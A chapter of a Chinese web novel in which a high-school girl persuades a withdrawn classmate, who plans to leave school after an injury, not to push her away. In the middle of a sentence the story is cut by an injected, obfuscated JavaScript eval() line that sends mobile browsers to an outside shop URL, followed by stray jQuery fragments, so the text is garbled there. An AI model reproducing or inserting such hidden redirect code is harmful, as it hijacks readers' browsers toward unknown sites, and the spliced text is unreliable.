二中高中部笼罩在暖阳的光芒下,前几日的阴冷潮湿被驱散。
教学楼下的羽毛球场再度热闹起来,走廊上放松的学生们伏在栏杆上,望着楼下竞争激烈的羽毛球对决,不时掌声雷动。
程霁站在走廊上晒太阳放松之时,余光瞥见不远处的主任和孟源鹤并排站在教室办公室门口的栏杆旁,与走廊上的大多数同学一样,看着楼下的羽毛球场。
只是两人面色凝重,孟源鹤脸上流露出一瞬的震惊和不解的神色。
由于心里记挂着段烁,程霁稍稍挪动脚步,尽量往他们那边靠近。
“不是,发生了什么事情了吗?”孟源鹤不理解地看向一旁的陈主任,眉间褶皱显现,“是家长对那件事情的处理不满意吗?还是说……”
“这次家长只是过来问问退学所需要用的资料和走的流程,我们问起的时候他只说段烁同学现在心理状况不是特别好。”陈主任揉了揉眉心,然后颇为无奈道,“还有,在提起那个打伤段烁的同学时,家长的反应特别大,简直是指着鼻子骂我们校方让这么一个档案有污点的学生过来。”
“档案有污点?”孟源鹤心里也为段烁抱不平,“那不是刚好用这么一个借口把这个关系户劝回原校部,凭什么要拖一个卓越班的同学下水!”
“家长那边表示,他希望我们能妥善处理那名学生,但是段烁同学这边,他不想让他继续本学期的学习了。他也不同意休学的解决办法,决定看情况转学。”
孟源鹤气不打一处来,烦躁地转过头去,拧眉道:“段烁的资质不错,完全是冲击清北的好苗子。学校如果真的为了这关系放弃他,我第一个不同意。”
程霁闻言,心情焦灼。
她抿唇,两只手不安地搭在栏杆上。
到底是家长不同意,还是段烁他自己就……
程霁不知如何是好,一方面觉得段烁确实应该远离魏弈风,但另一方面又私心不希望他转学离开。
她脑袋中一团乱麻,闷闷地走到储物柜前准备找下节课需要的书本,目光却先触及到那管粉红色的糖。
她垂下眼眸,伸手将那管糖握在手心,手指无意识地来回抚摸。
她要……找段烁出来好好谈谈。
……
周六傍晚,街心公园的小道上人来人往。举着风筝的小孩、手挽着手的情侣、聚在一起散步的朋友……
程霁坐在公园最角落的长椅上,不时朝着小公园的入口张望。
她处在这热闹一隅,手指不停刷新着聊天,渴望刷出段烁发来的一条新消息。
夕阳西沉,终于见到一个缓步朝这里走来的身影。
程霁起身,悬在心上半天的担忧终于消散,她迎上去,打招呼道:“段烁,你来了。我出发前才收到你说要来的消息,还以为你不来了。”
“答应了你的事情,我能做都会去做。”段烁的兴致不是很浓,他躲着程霁的目光,坐下。
程霁努力和他拉近距离,主动问起他的近况。可段烁却低头不语。
望着他低垂的眼眸,记忆中的那个阳光活泼的他像是藏起来了,他眼底那份积极、活跃的柔光不复存在。他像一只被所有人抛弃的小狗,却又防备着人的靠近。
程霁觉得心疼,望向他放在长椅上的手,小心地伸手用小拇指轻轻去勾,想引起他的注意。
段烁先没反抗,但犹豫片刻后又收回手。
“你先回答我,那天你为什么不下来见我?”程霁直接开口问道。
段烁抬起头,黑眸翻涌着忧郁,他的唇角微动:“我不知道怎么见你。”
“我还是……过不去那个坎。”段烁错开目光,深吸一口气,稍稍坐远,随即唇角勾起一抹淡漠的笑,自嘲道,“都多少年了,多大点事……”
程霁听见他用这么贬低的口吻说他自己,心里就难受得像是被人打了一闷拳。她见段烁轻轻拾起椅子上的一片布满深褐色斑点的深绿色树叶,捏着叶柄,眼底暗涌着不明的神色。
“恐怕这世界上再没人像我这样,因为这点事情整天躲躲藏藏。”他轻叹一口气,道,“你不该来见我的。下周就要考试了,你不是一直担心自己没法留在六班吗?”
程霁刚要开口,就见段烁紧绷着脸,克制着什么,将头别过去,声音有些无力:“回家吧,趁天还没黑。”
一阵风过,卷起地上的小小尘埃,远处泛黄的秋草发出窸窸簌簌的声音。程霁蹙眉,目光坚定地强调:“段烁,我说了我是来找你聊天的。”
“你也看得见,关于考试,我真给不了你什么补习或者是建议了……”他不看她,目光落在那即将沉入地平线的夕阳。
他的神色又冷漠了些许,似乎还要再说,程霁便打断他那没完没了的想要将她推开的话:“可我不是来找你要东西的!”
段烁瞥了她一眼,又保持着方才的疏离。
程霁主动朝他那边挪去,认真道:“经过一个半小时的车程,我都来见你了。所以你还不明白吗?考试没有我想见你这件事情重要,更没有你重要。”
段烁的长睫轻颤,淡金色的光芒洒在他的眼底,化成碎片。他缓缓转回来,没有与她对视,而是将目光落在她的手上,轻声道:“我这种人不值得你看得那么重要,也不值得你牺牲掉一些对自己有利的事情来……”
“你值得。”程霁打断他的话,争辩道。
段烁怔然掀起眼皮看她,灰暗的眼睛亮了一瞬,又垂下眼睫,光芒融进湿润,他扯着唇角,低语:“值得?你还不明白吗?”
“嗯?”
段烁心里最后的伪装被撕碎,他站起身,对她说话时也少见地激动:“我就是个胆小鬼,我一看到魏弈风我就总是想起我那件事情!程霁,我没有你想得那么好。”
“没有的……”
“我这种人一辈子就只能不停地逃离,你没发现吗?”段烁后退一步,言语带着刺。
程霁见他眼眶越来越红,恍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17951074|214166||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然觉得这场景是那么熟悉。
很多年前,她也用类似的话用力地推开他。
那些无需多言的理解,那些心有灵犀的共鸣……
段烁和她那么像,在被人窥见最狼狈的模样后,就会违背自己的真实想法,竖起尖刺驱赶所有人。
“你不是胆小鬼。”她一字一顿道,“你不是。”
程霁说着想要上前,可段烁却后退两步,似乎是不想再让那伪装被撕开得更加彻底。
“你不是怕魏弈风,不是怕血。就好比有人怕黑是怕突然有鬼钻出来,你怕他是因为你怕那种一个人缩在角落时无人帮助你,好像被所有人抛弃的感觉。”
“你怕被抛弃,你不敢去找季衡解释,就怕他会再次把话说死跟你保持绝交。”程霁顿了顿,见他耷拉着唇角,收起了身上的尖刺,温柔地提起那件事,“你怕我也离开你,所以那天在医务室门口,你那么慌张地过来找我……”
段烁感觉罩在心上的迷蒙雾气被几道阳光照射,缓缓散开。
“段烁,其实我也不是怕黑,我只是觉得晚归的孩子都有父母来接,而我没有人来接。一旦天彻底黑下来,我妈妈回去就会埋怨我。那盏坏掉的路灯下的老爷爷让我害怕,他的眼神让我觉得不安。以后一黑下来,我就想起那种感觉,总觉得在我看不见的地方,会有人用那种抓小孩的目光看我。”
“所以我们怕的不是事物本身,而是那种因为迷茫和无助产生的孤独。它的可怕之处就在于它是个摸不着的东西,在彻底弄清楚之前,每一次反击都像一拳打在空气里。”
段烁第一次听见有人将他躲避了那么多年的事物讲的如此明白。
“也许那天去医务室的路上,你真是随口一说,但你就恰好说到了点上。”程霁再一次朝他靠近,这一次他没有躲闪,甚至在憧憬着她的靠近,她继续道,“有人牵手接回了那个怕走夜路的我,也应该有人去扶那个男孩走出窄巷了。”
暮色模糊了远景,程霁的眼里朦胧着如黄昏落日般的柔光,好像能主导他行动一般,让他不由自主地想要靠近。
“段烁,我想成为你扶走出窄巷的许多人中的一个。就像你说的,如果走夜路的时候有人牵你的手,你能感受到陪伴、鼓励和温暖。也许一次,也许两次,也许很多次,以后哪怕再黑你就不会害怕了。我想,这是一样的。”
两人对视良久。
太阳坠入地平线,路灯仍未亮起,程霁在昏暗中朝他伸手,说着那晚与他相类似的夹杂着私人意图的话:“牵上试一试,说不定就不怕了。”
最后的倔强和自卑土崩瓦解,完全卸去伪装的他、伤痕累累的他,第一次尝试去够那想象中无数次渴盼出现的手。
他牵上那只手后,什么也没想,恼人的顾忌都听话地销声匿迹。
他只是单纯地想由这只手一直牵着走,去见怎样的风景,去何方,都无所谓。
是这只手就好。
别松开就好。